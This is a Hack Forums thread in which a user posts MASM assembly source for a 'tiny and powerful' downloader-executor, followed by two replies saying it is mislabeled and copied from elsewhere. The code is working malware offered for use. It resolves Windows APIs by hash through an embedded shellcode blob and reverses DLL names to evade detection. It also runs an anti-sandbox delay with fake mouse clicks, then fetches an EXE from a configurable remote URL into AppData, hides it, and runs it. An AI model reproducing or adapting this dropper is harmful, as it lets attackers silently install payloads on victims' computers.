

Forum:[Hack Forums](#)

Thread: [\[FASM\] TINY+POWERFUL auto downloader and executor](#)

Glitch007 - May 15, 2018, 6:57 am

download with chrome useragent and auto renames downloaded file. useragent is hard code and be changed.

Code .586

.model flat,stdcall

option casemap:none

include \masm32\include\windows.inc

include \masm32\include\masm32.inc

include \masm32\include\kernel32.inc

includelib \masm32\lib\kernel32.lib

include \masm32\include\user32.inc

includelib \masm32\lib\user32.lib

includelib \masm32\lib\masm32.lib

include \masm32\include\shfolder.inc

includelib \masm32\lib\shfolder.lib

include wininet.inc

includelib wininet.lib

LASTINPUTINFO struct

cbSize DWORD ?

dwTime DWORD ?

LASTINPUTINFO ends

.data

szLoadAPI db 055h, 08Bh, 0ECh, 083h, 0C4h, 0F4h, 052h, 089h, 055h, 0FCh, 08Bh, 04Ah, 03Ch, 003h, 0CAh, 089h, 04Dh, 0F4h, 08Bh, 049h

db 078h, 003h, 0CAh, 089h, 04Dh, 0F8h, 08Bh, 051h, 018h, 08Bh, 049h, 020h, 003h, 04Dh, 0FCh, 033h, 0FFh, 08Bh, 031h, 003h

db 075h, 0FCh, 033h, 0C0h, 051h, 0ACh, 08Bh, 0C8h, 003h, 0F8h, 0D3h, 0C7h, 085h, 0C0h, 075h, 0F5h, 059h, 03Bh, 0FBh, 074h

db 010h, 083h, 0C1h, 004h, 04Ah, 075h, 0E0h, 0BAh, 0C2h, 058h, 062h, 01Bh, 05Ah, 033h, 0C0h, 0C9h, 0C3h, 08Bh, 045h, 0FCh

db 08Bh, 04Dh, 0F8h, 08Bh, 059h, 018h, 08Bh, 049h, 024h, 003h, 0C8h, 02Bh, 0DAh, 0D1h, 0E3h, 003h, 0CBh, 00Fh, 0B7h, 019h

db 08Bh, 04Dh, 0F8h, 08Bh, 049h, 01Ch, 003h, 0C8h, 0C1h, 0E3h, 002h, 003h, 0CBh, 003h, 001h, 05Ah, 0C9h, 0C3h

szURL db 'your site here', 0 ; upload a file as .EXE extension [url]h--p://mysite.com/update.EXE[/url]

szFileName byte 256 dup (0)

RndString byte 50 dup (0)

alpha db 'abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ',0

;szexe db ".exe",0

```
sss db '\',0
szURLMon db 'lId.noMLRU', 0
szShell32 db 'lId.23llehS', 0
Agent db "Google Chrome",0
URLVISIT db " ",0 ; site where you want to visit
```

```
dwLoadAPI DWORD ?
dwLoadLibraryA DWORD ?
dwURLMon DWORD ?
dwShell32 DWORD ?
dwInternetOpenAA DWORD ?
dwInternetOpenUrlIAA DWORD ?
```

```
dwURLDownloadToFileA DWORD ?
dwShellExecuteA DWORD ?
```

```
FirstInput LASTINPUTINFO <>
SecondInput LASTINPUTINFO <>
```

```
.const
CSIDL_APPDATA equ 26
```

```
.code
```

```
StrReverse proc lpString:LPSTR
mov eax,lpString
mov edx,eax
@@:
add edx,1
cmp byte ptr [edx],0
jne @B
sub edx,1
@@:
mov cl,byte ptr [eax]
mov ch,byte ptr [edx]
mov [eax],ch
mov [edx],cl
add eax,1
sub edx,1
cmp eax,edx
jl @B
ret
StrReverse endp
```

```
RandomString proc
pushad
invoke RtlZeroMemory,addr RndString,50
mov esi, offset RndString
mov ecx,10
xor eax,eax
```

```

LOOP_:
    mov ebx, offset alpha
    RDTSC
    cmp al,34h
    ja LOOP_
    xor edx,edx
    mov dl,al
    add ebx,edx

    mov bl, byte ptr [ebx]
    mov [esi],bl
    inc esi
    dec ecx
    jne LOOP_
    POPAD
    ret

```

RandomString endp

start:

```

MOV FirstInput.cbSize, SizeOf LASTINPUTINFO
MOV SecondInput.cbSize, SizeOf LASTINPUTINFO

```

```

Invoke GetLastInputInfo, ADDR FirstInput
mov esi,600000h

```

Start:

```

invoke LoadBitmap,0,0
dec esi
jne Start

```

```

Invoke mouse_event, MOUSEEVENTF_LEFTDOWN, 0, 0, 0, 0
Invoke mouse_event, MOUSEEVENTF_LEFTUP, 0, 0, 0, 0
Invoke GetLastInputInfo, ADDR SecondInput

```

```

Invoke VirtualProtect, ADDR szLoadAPI, 118, PAGE_EXECUTE_READWRITE, 0

```

```

Invoke StrReverse, ADDR szURLMon
Invoke StrReverse, ADDR szShell32

```

```

LEA EAX, szLoadAPI
MOV dwLoadAPI, EAX

```

```

ASSUME FS:NOTHING
MOV EAX, FS:[30h]
MOV EAX, [EAX+0Ch]
MOV EAX, [EAX+0Ch]
MOV EAX, [EAX]
MOV EAX, [EAX]
MOV EAX, [EAX+18h]

```

```

MOV EDX, EAX

```

```
MOV EBX, 0A216A185h
CALL dwLoadAPI
MOV dwLoadLibraryA, EAX
```

```
PUSH OFFSET szURLMon
CALL EAX
MOV dwURLMon, EAX
```

```
PUSH OFFSET szShell32
CALL dwLoadLibraryA
MOV dwShell32, EAX
```

```
MOV EDX, dwURLMon
MOV EBX, 0B2040657h
CALL dwLoadAPI
MOV dwURLDownloadToFileA, EAX
```

```
MOV EDX, dwShell32
MOV EBX, 0D9A88A30h
CALL dwLoadAPI
MOV dwShellExecuteA, EAX
```

```
invoke RandomString
invoke strlen,addr RndString ;Get the length of randomstring
mov edi,eax ;mov len of rnd string to edi
mov esi,offset RndString ;use esi instead because apis overwrites EDX register!
ADD esi,EDI ;add it to the pointer of random string so rndstr + len to point to last char of it
MOV byte PTR DS:[ESI],2Eh ;mov at that chr "."
```

```
NOO:
MOV byte PTR DS:[ESI+1],65h ;mov at that chr "e"
```

```
NOO2:
MOV byte PTR DS:[ESI+2],78h ;mov at that chr "x"
```

```
NOO3:
MOV byte PTR DS:[ESI+3],65h ;mov at that chr "e"
```

```
;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;
;invoke strcat,addr RndString,addr szexe
```

```
invoke SHGetFolderPath,NULL,CSIDL_APPDATA,NULL,NULL,addr szFileName
invoke strcat,addr szFileName,addr sss
invoke strcat,addr szFileName,addr RndString
```

```
PUSH 0
PUSH 0
PUSH OFFSET szFileName
PUSH OFFSET szURL
PUSH 0
CALL dwURLDownloadToFileA
```

Invoke SetFileAttributes,addr szFileName,FILE_ATTRIBUTE_HIDDEN OR
FILE_ATTRIBUTE_SYSTEM

```
PUSH 0
PUSH 0
PUSH 0
PUSH OFFSET szFileName
PUSH 0
PUSH 0
CALL dwShellExecuteA
```

```
invoke InternetOpen,addr Agent,INTERNET_OPEN_TYPE_DIRECT,NULL,NULL,NULL
invoke InternetOpenUrl,eax,addr URLVISIT,NULL,NULL,INTERNET_FLAG_RELOAD,NULL
invoke InternetCloseHandle,eax
invoke ExitProcess,0
```

```
ExitMain:
RET
end start
```

narc0tic - May 15, 2018, 8:45 am

- 1) this is masm, not fasm
- 2) you pasted this
- 3) it is TINY+POWERFUL

gj

edit : ah, account closed.

HFDone - May 15, 2018, 8:46 am

yhe [https://underc0de.org/foro/asm/\(masm\)-file-downloader](https://underc0de.org/foro/asm/(masm)-file-downloader)